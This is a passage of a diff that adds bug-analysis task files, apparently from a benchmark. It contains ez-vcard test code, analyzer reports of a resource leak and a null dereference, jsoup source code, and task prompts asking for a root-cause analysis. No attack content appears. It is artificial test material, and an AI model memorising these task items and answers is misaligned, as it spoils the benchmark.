+			OrganizationType f = vcard.getOrganization();
+			assertEquals(Arrays.asList("Company, The", "TheDepartment"), f.getValues());
+		}
+
+		//TITLE
+		{
+			Iterator<TitleType> it = vcard.getTitles().iterator();
+
+			TitleType f = it.next();
+			assertEquals("The Job Title", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//NOTE
+		{
+			Iterator<NoteType> it = vcard.getNotes().iterator();
+
+			NoteType f = it.next();
+			assertEquals("This is the note field!!\r\nSecond line\r\n\r\nThird line is empty\r\n", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//TEL
+		{
+			Iterator<TelephoneType> it = vcard.getTelephoneNumbers().iterator();
+			TelephoneType f = it.next();
+
+			assertEquals("BusinessPhone", f.getText());
+			Set<TelephoneTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.WORK));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+
+			f = it.next();
+			assertEquals("HomePhone", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.HOME));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+
+			f = it.next();
+			assertEquals("MobilePhone", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.CELL));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+
+			f = it.next();
+			assertEquals("BusinessFaxPhone", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.FAX));
+			assertTrue(types.contains(TelephoneTypeParameter.WORK));
+
+			assertFalse(it.hasNext());
+		}
+
+		//ADR
+		{
+			Iterator<AddressType> it = vcard.getAddresses().iterator();
+
+			AddressType f = it.next();
+			assertEquals(null, f.getPoBox());
+			assertEquals("TheOffice", f.getExtendedAddress());
+			assertEquals("123 Main St", f.getStreetAddress());
+			assertEquals("Austin", f.getLocality());
+			assertEquals("TX", f.getRegion());
+			assertEquals("12345", f.getPostalCode());
+			assertEquals("United States of America", f.getCountry());
+			assertEquals("TheOffice\r\n123 Main St\r\nAustin, TX 12345\r\nUnited States of America", f.getLabel());
+			Set<AddressTypeParameter> types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(AddressTypeParameter.WORK));
+
+			assertFalse(it.hasNext());
+		}
+
+		//LABEL
+		{
+			assertTrue(vcard.getOrphanedLabels().isEmpty());
+		}
+
+		//URL
+		{
+			Iterator<UrlType> it = vcard.getUrls().iterator();
+
+			UrlType f = it.next();
+			assertEquals("http://web-page-address.com", f.getValue());
+			Set<String> types = f.getSubTypes().getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains("WORK"));
+
+			assertFalse(it.hasNext());
+		}
+
+		//ROLE
+		{
+			Iterator<RoleType> it = vcard.getRoles().iterator();
+
+			RoleType f = it.next();
+			assertEquals("TheProfession", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//BDAY
+		{
+			BirthdayType f = vcard.getBirthday();
+			Calendar c = Calendar.getInstance();
+			c.clear();
+			c.set(Calendar.YEAR, 1980);
+			c.set(Calendar.MONTH, Calendar.MARCH);
+			c.set(Calendar.DAY_OF_MONTH, 21);
+			assertEquals(c.getTime(), f.getDate());
+		}
+
+		//KEY
+		{
+			Iterator<KeyType> it = vcard.getKeys().iterator();
+
+			KeyType f = it.next();
+			assertEquals(KeyTypeParameter.X509, f.getContentType());
+			assertEquals(805, f.getData().length);
+
+			assertFalse(it.hasNext());
+		}
+
+		//EMAIL
+		{
+			Iterator<EmailType> it = vcard.getEmails().iterator();
+
+			EmailType f = it.next();
+			assertEquals("jdoe@hotmail.com", f.getValue());
+			Set<EmailTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(EmailTypeParameter.PREF));
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+
+			assertFalse(it.hasNext());
+		}
+
+		//FBURL
+		{
+			Iterator<FbUrlType> it = vcard.getFbUrls().iterator();
+
+			//Outlook 2003 apparently doesn't output FBURL correctly:
+			//http://help.lockergnome.com/office/BUG-Outlook-2003-exports-FBURL-vCard-incorrectly--ftopict423660.html
+			FbUrlType f = it.next();
+			assertEquals("????????????????s????????????" + (char) 12, f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//REV
+		{
+			RevisionType f = vcard.getRevision();
+			Calendar c = Calendar.getInstance(TimeZone.getTimeZone("UTC"));
+			c.clear();
+			c.set(Calendar.YEAR, 2012);
+			c.set(Calendar.MONTH, Calendar.OCTOBER);
+			c.set(Calendar.DAY_OF_MONTH, 12);
+			c.set(Calendar.HOUR_OF_DAY, 21);
+			c.set(Calendar.MINUTE, 5);
+			c.set(Calendar.SECOND, 25);
+			assertEquals(c.getTime(), f.getTimestamp());
+		}
+	}
+
+	@Test
+	public void thunderbird() throws Exception {
+		VCardReader reader = new VCardReader(getClass().getResourceAsStream("thunderbird-MoreFunctionsForAddressBook-extension.vcf"));
+		VCard vcard = reader.readNext();
+
+		//VERSION
+		assertEquals(VCardVersion.V3_0, vcard.getVersion());
+
+		//N
+		{
+			StructuredNameType f = vcard.getStructuredName();
+			assertEquals("Doe", f.getFamily());
+			assertEquals("John", f.getGiven());
+			assertTrue(f.getAdditional().isEmpty());
+			assertTrue(f.getPrefixes().isEmpty());
+			assertTrue(f.getSuffixes().isEmpty());
+		}
+
+		//FN
+		{
+			FormattedNameType f = vcard.getFormattedName();
+			assertEquals("John Doe", f.getValue());
+		}
+
+		//ORG
+		{
+			OrganizationType f = vcard.getOrganization();
+			assertEquals(Arrays.asList("TheOrganization", "TheDepartment"), f.getValues());
+		}
+
+		//NICKNAME
+		{
+			NicknameType f = vcard.getNickname();
+			assertEquals(Arrays.asList("Johnny"), f.getValues());
+		}
+
+		//ADR
+		{
+			Iterator<AddressType> it = vcard.getAddresses().iterator();
+
+			AddressType f = it.next();
+			assertEquals(null, f.getPoBox());
+			assertEquals("222 Broadway", f.getExtendedAddress());
+			assertEquals("Suite 100", f.getStreetAddress());
+			assertEquals("New York", f.getLocality());
+			assertEquals("NY", f.getRegion());
+			assertEquals("98765", f.getPostalCode());
+			assertEquals("USA", f.getCountry());
+			Set<AddressTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(AddressTypeParameter.WORK));
+			assertTrue(types.contains(AddressTypeParameter.POSTAL));
+
+			f = it.next();
+			assertEquals(null, f.getPoBox());
+			assertEquals("123 Main St", f.getExtendedAddress());
+			assertEquals("Apt 10", f.getStreetAddress());
+			assertEquals("Austin", f.getLocality());
+			assertEquals("TX", f.getRegion());
+			assertEquals("12345", f.getPostalCode());
+			assertEquals("USA", f.getCountry());
+
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(AddressTypeParameter.HOME));
+			assertTrue(types.contains(AddressTypeParameter.POSTAL));
+
+			assertFalse(it.hasNext());
+		}
+
+		//TEL
+		{
+			Iterator<TelephoneType> it = vcard.getTelephoneNumbers().iterator();
+
+			TelephoneType f = it.next();
+			assertEquals("555-555-1111", f.getText());
+			Set<TelephoneTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.WORK));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+
+			f = it.next();
+			assertEquals("555-555-2222", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.HOME));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+
+			f = it.next();
+			assertEquals("555-555-5555", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.CELL));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+
+			f = it.next();
+			assertEquals("555-555-3333", f.getText());
+			types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.FAX));
+
+			f = it.next();
+			assertEquals("555-555-4444", f.getText());
+			types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.PAGER));
+
+			assertFalse(it.hasNext());
+		}
+
+		//EMAIL
+		{
+			Iterator<EmailType> it = vcard.getEmails().iterator();
+
+			EmailType f = it.next();
+			assertEquals("doe.john@hotmail.com", f.getValue());
+			Set<EmailTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+			assertTrue(types.contains(EmailTypeParameter.PREF));
+
+			f = it.next();
+			assertEquals("additional-email@company.com", f.getValue());
+			types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+
+			f = it.next();
+			assertEquals("additional-email1@company.com", f.getValue());
+			types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+
+			f = it.next();
+			assertEquals("additional-email2@company.com", f.getValue());
+			types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+
+			f = it.next();
+			assertEquals("additional-email3@company.com", f.getValue());
+			types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+
+			assertFalse(it.hasNext());
+		}
+
+		//URL
+		{
+			Iterator<UrlType> it = vcard.getUrls().iterator();
+
+			UrlType f = it.next();
+			assertEquals("http://www.private-webpage.com", f.getValue());
+			assertEquals("HOME", f.getType());
+
+			f = it.next();
+			assertEquals("http://www.work-webpage.com", f.getValue());
+			assertEquals("WORK", f.getType());
+
+			assertFalse(it.hasNext());
+		}
+
+		//TITLE
+		{
+			Iterator<TitleType> it = vcard.getTitles().iterator();
+
+			TitleType f = it.next();
+			assertEquals("TheTitle", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//CATEGORIES
+		{
+			//commas are incorrectly escaped, so there is only 1 item
+			CategoriesType f = vcard.getCategories();
+			assertEquals(Arrays.asList("category1, category2, category3"), f.getValues());
+		}
+
+		//BDAY
+		{
+			BirthdayType f = vcard.getBirthday();
+			Calendar c = Calendar.getInstance();
+			c.clear();
+			c.set(Calendar.YEAR, 1970);
+			c.set(Calendar.MONTH, Calendar.SEPTEMBER);
+			c.set(Calendar.DAY_OF_MONTH, 21);
+			assertEquals(c.getTime(), f.getDate());
+		}
+
+		//NOTE
+		{
+			Iterator<NoteType> it = vcard.getNotes().iterator();
+
+			NoteType f = it.next();
+			assertEquals("This is the notes field." + NEWLINE + "Second Line" + NEWLINE + NEWLINE + "Fourth Line" + NEWLINE + "You can put anything in the \"note\" field; even curse words.", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//PHOTO
+		{
+			Iterator<PhotoType> it = vcard.getPhotos().iterator();
+
+			PhotoType f = it.next();
+			assertEquals(ImageTypeParameter.JPEG, f.getContentType());
+			assertEquals(8940, f.getData().length);
+
+			assertFalse(it.hasNext());
+		}
+
+		//extended types
+		{
+			assertEquals(2, countExtTypes(vcard));
+
+			RawType f = vcard.getExtendedProperties("X-SPOUSE").get(0);
+			assertEquals("X-SPOUSE", f.getTypeName());
+			assertEquals("TheSpouse", f.getValue());
+
+			f = vcard.getExtendedProperties("X-ANNIVERSARY").get(0);
+			assertEquals("X-ANNIVERSARY", f.getTypeName());
+			assertEquals("1990-04-30", f.getValue());
+		}
+	}
+
+	/**
+	 * Counts the number of extended types in a vCard.
+	 * @param vcard the vCard
+	 * @return the number of extended types
+	 */
+	private int countExtTypes(VCard vcard) {
+		return vcard.getExtendedProperties().size();
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `VCardReader(...)` at line 1219 is not released after line 1220.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void VCardReaderTest.iPhoneVCard()
+
+### Procedure Id:
+ezvcard.io.VCardReaderTest.iPhoneVCard():void.27c511c29a31cd997d3760750b8ac50e
+
+### File:
+src/test/java/ezvcard/io/VCardReaderTest.java
+
+### Key:
+VCardReaderTest.java|iPhoneVCard|RESOURCE_LEAK
+
+### Node Key:
+dfe17392a7a960e94a27d58804297f95
+
+### Hash:
+a1e2ab022997e6b8fc7c5d5a05e98985
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7740/instruction.md b/inferredbugs-7740/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..248c7973645f75410c40bfc1ca9120e08e2e8b70
--- /dev/null
+++ b/inferredbugs-7740/instruction.md
@@ -0,0 +1,201 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsoup
+**Bug ID:** 35
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.jsoup.nodes;
+
+import org.jsoup.internal.StringUtil;
+import org.jsoup.helper.Validate;
+
+import java.io.IOException;
+
+/**
+ A text node.
+
+ @author Jonathan Hedley, jonathan@hedley.net */
+public class TextNode extends LeafNode {
+    /**
+     Create a new TextNode representing the supplied (unencoded) text).
+
+     @param text raw text
+     @see #createFromEncoded(String)
+     */
+    public TextNode(String text) {
+        value = text;
+    }
+
+	public String nodeName() {
+        return "#text";
+    }
+    
+    /**
+     * Get the text content of this text node.
+     * @return Unencoded, normalised text.
+     * @see TextNode#getWholeText()
+     */
+    public String text() {
+        return StringUtil.normaliseWhitespace(getWholeText());
+    }
+    
+    /**
+     * Set the text content of this text node.
+     * @param text unencoded text
+     * @return this, for chaining
+     */
+    public TextNode text(String text) {
+        coreValue(text);
+        return this;
+    }
+
+    /**
+     Get the (unencoded) text of this text node, including any newlines and spaces present in the original.
+     @return text
+     */
+    public String getWholeText() {
+        return coreValue();
+    }
+
+    /**
+     Test if this text node is blank -- that is, empty or only whitespace (including newlines).
+     @return true if this document is empty or only whitespace, false if it contains any text content.
+     */
+    public boolean isBlank() {
+        return StringUtil.isBlank(coreValue());
+    }
+
+    /**
+     * Split this text node into two nodes at the specified string offset. After splitting, this node will contain the
+     * original text up to the offset, and will have a new text node sibling containing the text after the offset.
+     * @param offset string offset point to split node at.
+     * @return the newly created text node containing the text after the offset.
+     */
+    public TextNode splitText(int offset) {
+        final String text = coreValue();
+        Validate.isTrue(offset >= 0, "Split offset must be not be negative");
+        Validate.isTrue(offset < text.length(), "Split offset must not be greater than current text length");
+
+        String head = text.substring(0, offset);
+        String tail = text.substring(offset);
+        text(head);
+        TextNode tailNode = new TextNode(tail);
+        if (parent() != null)
+            parent().addChildren(siblingIndex()+1, tailNode);
+
+        return tailNode;
+    }
+
+	void outerHtmlHead(Appendable accum, int depth, Document.OutputSettings out) throws IOException {
+        if (out.prettyPrint() && ((siblingIndex() == 0 && parentNode instanceof Element && ((Element) parentNode).tag().formatAsBlock() && !isBlank()) || (out.outline() && siblingNodes().size()>0 && !isBlank()) ))
+            indent(accum, depth, out);
+
+        boolean normaliseWhite = out.prettyPrint() && !Element.preserveWhitespace(parent());
+        Entities.escape(accum, coreValue(), out, false, normaliseWhite, false);
+    }
+
+	void outerHtmlTail(Appendable accum, int depth, Document.OutputSettings out) {}
+
+    @Override
+    public String toString() {
+        return outerHtml();
+    }
+
+    @Override
+    public TextNode clone() {
+        return (TextNode) super.clone();
+    }
+
+    /**
+     * Create a new TextNode from HTML encoded (aka escaped) data.
+     * @param encodedText Text containing encoded HTML (e.g. &amp;lt;)
+     * @return TextNode containing unencoded data (e.g. &lt;)
+     */
+    public static TextNode createFromEncoded(String encodedText) {
+        String text = Entities.unescape(encodedText);
+        return new TextNode(text);
+    }
+
+    static String normaliseWhitespace(String text) {
+        text = StringUtil.normaliseWhitespace(text);
+        return text;
+    }
+
+    static String stripLeadingWhitespace(String text) {
+        return text.replaceFirst("^\\s+", "");
+    }
+
+    static boolean lastCharIsWhitespace(StringBuilder sb) {
+        return sb.length() != 0 && sb.charAt(sb.length() - 1) == ' ';
+    }
+
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `parent()` could be null and is dereferenced by call to `preserveWhitespace(...)` at line 87.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TextNode.outerHtmlHead(Appendable,int,Document$OutputSettings)
+
+### Procedure Id:
+org.jsoup.nodes.TextNode.outerHtmlHead(java.lang.Appendable,int,org.jsoup.nodes.Document$OutputSetti.2fac4aab764b1646fed12838c17c9e9a
+
+### File:
+src/main/java/org/jsoup/nodes/TextNode.java
+
+### Key:
+TextNode.java|outerHtmlHead|NULL_DEREFERENCE
+
+### Node Key:
+2718d1e24ca659f7f809828518104f86
+
+### Hash:
+3ba8030b13c5e0332f00c8d2abf19212
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7741/instruction.md b/inferredbugs-7741/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..908cc377b2832f418f9bd628aa1f8e0cf44a2b78
--- /dev/null
+++ b/inferredbugs-7741/instruction.md
@@ -0,0 +1,799 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsoup
+**Bug ID:** 34
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.jsoup.nodes;
+
+import org.jsoup.SerializationException;
+import org.jsoup.internal.StringUtil;
+import org.jsoup.helper.Validate;
+import org.jsoup.select.NodeFilter;
+import org.jsoup.select.NodeTraversor;
+import org.jsoup.select.NodeVisitor;
+
+import java.io.IOException;
+import java.util.*;
+
+/**
+ The base, abstract Node model. Elements, Documents, Comments etc are all Node instances.
+
+ @author Jonathan Hedley, jonathan@hedley.net */
+public abstract class Node implements Cloneable {
+    static final String EmptyString = "";
+    Node parentNode;
+    int siblingIndex;
+
+    /**
+     * Default constructor. Doesn't setup base uri, children, or attributes; use with caution.
+     */
+    protected Node() {
+    }
+
+    /**
+     Get the node name of this node. Use for debugging purposes and not logic switching (for that, use instanceof).
+     @return node name
+     */
+    public abstract String nodeName();
+
+    /**
+     * Check if this Node has an actual Attributes object.
+     */
+    protected abstract boolean hasAttributes();
+
+    public boolean hasParent() {
+        return parentNode != null;
+    }
+
+    /**
+     * Get an attribute's value by its key. <b>Case insensitive</b>
+     * <p>
+     * To get an absolute URL from an attribute that may be a relative URL, prefix the key with <code><b>abs</b></code>,
+     * which is a shortcut to the {@link #absUrl} method.
+     * </p>
+     * E.g.:
+     * <blockquote><code>String url = a.attr("abs:href");</code></blockquote>
+     *
+     * @param attributeKey The attribute key.
+     * @return The attribute, or empty string if not present (to avoid nulls).
+     * @see #attributes()
+     * @see #hasAttr(String)
+     * @see #absUrl(String)
+     */
+    public String attr(String attributeKey) {
+        Validate.notNull(attributeKey);
+        if (!hasAttributes())
+            return EmptyString;
+
+        String val = attributes().getIgnoreCase(attributeKey);
+        if (val.length() > 0)
+            return val;
+        else if (attributeKey.startsWith("abs:"))
+            return absUrl(attributeKey.substring("abs:".length()));
+        else return "";
+    }
+
+    /**
+     * Get all of the element's attributes.
+     * @return attributes (which implements iterable, in same order as presented in original HTML).
+     */
+    public abstract Attributes attributes();
+
+    /**
+     * Set an attribute (key=value). If the attribute already exists, it is replaced. The attribute key comparison is
+     * <b>case insensitive</b>. The key will be set with case sensitivity as set in the parser settings.
+     * @param attributeKey The attribute key.
+     * @param attributeValue The attribute value.
+     * @return this (for chaining)
+     */
+    public Node attr(String attributeKey, String attributeValue) {
+        attributeKey = NodeUtils.parser(this).settings().normalizeAttribute(attributeKey);
+        attributes().putIgnoreCase(attributeKey, attributeValue);
+        return this;
+    }
+
+    /**
+     * Test if this element has an attribute. <b>Case insensitive</b>
+     * @param attributeKey The attribute key to check.
+     * @return true if the attribute exists, false if not.
+     */
+    public boolean hasAttr(String attributeKey) {
+        Validate.notNull(attributeKey);
+
+        if (attributeKey.startsWith("abs:")) {
+            String key = attributeKey.substring("abs:".length());
+            if (attributes().hasKeyIgnoreCase(key) && !absUrl(key).equals(""))
+                return true;
+        }
+        return attributes().hasKeyIgnoreCase(attributeKey);
+    }
+
+    /**
+     * Remove an attribute from this node.
+     * @param attributeKey The attribute to remove.
+     * @return this (for chaining)
+     */
+    public Node removeAttr(String attributeKey) {
+        Validate.notNull(attributeKey);
+        attributes().removeIgnoreCase(attributeKey);
+        return this;
+    }
+
+    /**
+     * Clear (remove) all of the attributes in this node.
+     * @return this, for chaining
+     */
+    public Node clearAttributes() {
+        Iterator<Attribute> it = attributes().iterator();
+        while (it.hasNext()) {
+            it.next();
+            it.remove();
+        }
+        return this;
+    }
+
+    /**
+     Get the base URI of this node.
+     @return base URI
+     */
+    public abstract String baseUri();
+
+    /**
+     * Set the baseUri for just this node (not its descendants), if this Node tracks base URIs.
+     * @param baseUri new URI
+     */
+    protected abstract void doSetBaseUri(String baseUri);
+
+    /**
+     Update the base URI of this node and all of its descendants.
+     @param baseUri base URI to set
+     */
+    public void setBaseUri(final String baseUri) {
+        Validate.notNull(baseUri);
+
+        traverse(new NodeVisitor() {
+            public void head(Node node, int depth) {
+                node.doSetBaseUri(baseUri);
+            }
+
+            public void tail(Node node, int depth) {
+            }
+        });
+    }
+
+    /**
+     * Get an absolute URL from a URL attribute that may be relative (i.e. an <code>&lt;a href&gt;</code> or
+     * <code>&lt;img src&gt;</code>).
+     * <p>
+     * E.g.: <code>String absUrl = linkEl.absUrl("href");</code>
+     * </p>
+     * <p>
+     * If the attribute value is already absolute (i.e. it starts with a protocol, like
+     * <code>http://</code> or <code>https://</code> etc), and it successfully parses as a URL, the attribute is
+     * returned directly. Otherwise, it is treated as a URL relative to the element's {@link #baseUri}, and made
+     * absolute using that.
+     * </p>
+     * <p>
+     * As an alternate, you can use the {@link #attr} method with the <code>abs:</code> prefix, e.g.:
+     * <code>String absUrl = linkEl.attr("abs:href");</code>
+     * </p>
+     *
+     * @param attributeKey The attribute key
+     * @return An absolute URL if one could be made, or an empty string (not null) if the attribute was missing or
+     * could not be made successfully into a URL.
+     * @see #attr
+     * @see java.net.URL#URL(java.net.URL, String)
+     */
+    public String absUrl(String attributeKey) {
+        Validate.notEmpty(attributeKey);
+
+        if (!hasAttr(attributeKey)) {
+            return ""; // nothing to make absolute with
+        } else {
+            return StringUtil.resolve(baseUri(), attr(attributeKey));
+        }
+    }
+
+    protected abstract List<Node> ensureChildNodes();
+
+    /**
+     Get a child node by its 0-based index.
+     @param index index of child node
+     @return the child node at this index. Throws a {@code IndexOutOfBoundsException} if the index is out of bounds.
+     */
+    public Node childNode(int index) {
+        return ensureChildNodes().get(index);
+    }
+
+    /**
+     Get this node's children. Presented as an unmodifiable list: new children can not be added, but the child nodes
+     themselves can be manipulated.
+     @return list of children. If no children, returns an empty list.
+     */
+    public List<Node> childNodes() {
+        return Collections.unmodifiableList(ensureChildNodes());
+    }
+
+    /**
+     * Returns a deep copy of this node's children. Changes made to these nodes will not be reflected in the original
+     * nodes
+     * @return a deep copy of this node's children
+     */
+    public List<Node> childNodesCopy() {
+        final List<Node> nodes = ensureChildNodes();
+        final ArrayList<Node> children = new ArrayList<>(nodes.size());
+        for (Node node : nodes) {
+            children.add(node.clone());
+        }
+        return children;
+    }
+
+    /**
+     * Get the number of child nodes that this node holds.
+     * @return the number of child nodes that this node holds.
+     */
+    public abstract int childNodeSize();
+
+    protected Node[] childNodesAsArray() {
+        return ensureChildNodes().toArray(new Node[0]);
+    }
+
+    /**
+     Gets this node's parent node.
+     @return parent node; or null if no parent.
+     */
+    public Node parent() {
+        return parentNode;
+    }
+
+    /**
+     Gets this node's parent node. Not overridable by extending classes, so useful if you really just need the Node type.
+     @return parent node; or null if no parent.
+     */
+    public final Node parentNode() {
+        return parentNode;
+    }
+
+    /**
+     * Get this node's root node; that is, its topmost ancestor. If this node is the top ancestor, returns {@code this}.
+     * @return topmost ancestor.
+     */
+    public Node root() {
+        Node node = this;
+        while (node.parentNode != null)
+            node = node.parentNode;
+        return node;
+    }
+
+    /**
+     * Gets the Document associated with this Node.
+     * @return the Document associated with this Node, or null if there is no such Document.
+     */
+    public Document ownerDocument() {
+        Node root = root();
+        return (root instanceof Document) ? (Document) root : null;
+    }
+
+    /**
+     * Remove (delete) this node from the DOM tree. If this node has children, they are also removed.
+     */
+    public void remove() {
+        Validate.notNull(parentNode);
+        parentNode.removeChild(this);
+    }
+
+    /**
+     * Insert the specified HTML into the DOM before this node (i.e. as a preceding sibling).
+     * @param html HTML to add before this node
+     * @return this node, for chaining
+     * @see #after(String)
+     */
+    public Node before(String html) {
+        addSiblingHtml(siblingIndex, html);
+        return this;
+    }
+
+    /**
+     * Insert the specified node into the DOM before this node (i.e. as a preceding sibling).
+     * @param node to add before this node
+     * @return this node, for chaining
+     * @see #after(Node)
+     */
+    public Node before(Node node) {
+        Validate.notNull(node);
+        Validate.notNull(parentNode);
+
+        parentNode.addChildren(siblingIndex, node);
+        return this;
+    }
+
+    /**
+     * Insert the specified HTML into the DOM after this node (i.e. as a following sibling).
+     * @param html HTML to add after this node
+     * @return this node, for chaining
+     * @see #before(String)
+     */
+    public Node after(String html) {
+        addSiblingHtml(siblingIndex + 1, html);
+        return this;
+    }
+
+    /**
+     * Insert the specified node into the DOM after this node (i.e. as a following sibling).
+     * @param node to add after this node
+     * @return this node, for chaining
+     * @see #before(Node)
+     */
+    public Node after(Node node) {
+        Validate.notNull(node);
+        Validate.notNull(parentNode);
+
+        parentNode.addChildren(siblingIndex + 1, node);
+        return this;
+    }
+
+    private void addSiblingHtml(int index, String html) {
+        Validate.notNull(html);
+        Validate.notNull(parentNode);
+
+        Element context = parent() instanceof Element ? (Element) parent() : null;
+        List<Node> nodes = NodeUtils.parser(this).parseFragmentInput(html, context, baseUri());
+        parentNode.addChildren(index, nodes.toArray(new Node[0]));
+    }
+
+    /**
+     Wrap the supplied HTML around this node.
+     @param html HTML to wrap around this element, e.g. {@code <div class="head"></div>}. Can be arbitrarily deep.
+     @return this node, for chaining.
+     */
+    public Node wrap(String html) {
+        Validate.notEmpty(html);
+
+        Element context = parent() instanceof Element ? (Element) parent() : null;
+        List<Node> wrapChildren = NodeUtils.parser(this).parseFragmentInput(html, context, baseUri());
+        Node wrapNode = wrapChildren.get(0);
+        if (!(wrapNode instanceof Element)) // nothing to wrap with; noop
+            return null;
+
+        Element wrap = (Element) wrapNode;
+        Element deepest = getDeepChild(wrap);
+        parentNode.replaceChild(this, wrap);
+        deepest.addChildren(this);
+
+        // remainder (unbalanced wrap, like <div></div><p></p> -- The <p> is remainder
+        if (wrapChildren.size() > 0) {
+            //noinspection ForLoopReplaceableByForEach (beacause it allocates an Iterator which is wasteful here)
+            for (int i = 0; i < wrapChildren.size(); i++) {
+                Node remainder = wrapChildren.get(i);
+                remainder.parentNode.removeChild(remainder);
+                wrap.appendChild(remainder);
+            }
+        }
+        return this;
+    }
+
+    /**
+     * Removes this node from the DOM, and moves its children up into the node's parent. This has the effect of dropping
+     * the node but keeping its children.
+     * <p>
+     * For example, with the input html:
+     * </p>
+     * <p>{@code <div>One <span>Two <b>Three</b></span></div>}</p>
+     * Calling {@code element.unwrap()} on the {@code span} element will result in the html:
+     * <p>{@code <div>One Two <b>Three</b></div>}</p>
+     * and the {@code "Two "} {@link TextNode} being returned.
+     *
+     * @return the first child of this node, after the node has been unwrapped. Null if the node had no children.
+     * @see #remove()
+     * @see #wrap(String)
+     */
+    public Node unwrap() {
+        Validate.notNull(parentNode);
+        final List<Node> childNodes = ensureChildNodes();
+        Node firstChild = childNodes.size() > 0 ? childNodes.get(0) : null;
+        parentNode.addChildren(siblingIndex, this.childNodesAsArray());
+        this.remove();
+
+        return firstChild;
+    }
+
+    private Element getDeepChild(Element el) {
+        List<Element> children = el.children();
+        if (children.size() > 0)
+            return getDeepChild(children.get(0));
+        else
+            return el;
+    }
+
+    void nodelistChanged() {
+        // Element overrides this to clear its shadow children elements
+    }
+
+    /**
+     * Replace this node in the DOM with the supplied node.
+     * @param in the node that will will replace the existing node.
+     */
+    public void replaceWith(Node in) {
+        Validate.notNull(in);
+        Validate.notNull(parentNode);
+        parentNode.replaceChild(this, in);
+    }
+
+    protected void setParentNode(Node parentNode) {
+        Validate.notNull(parentNode);
+        if (this.parentNode != null)
+            this.parentNode.removeChild(this);
+        this.parentNode = parentNode;
+    }
+
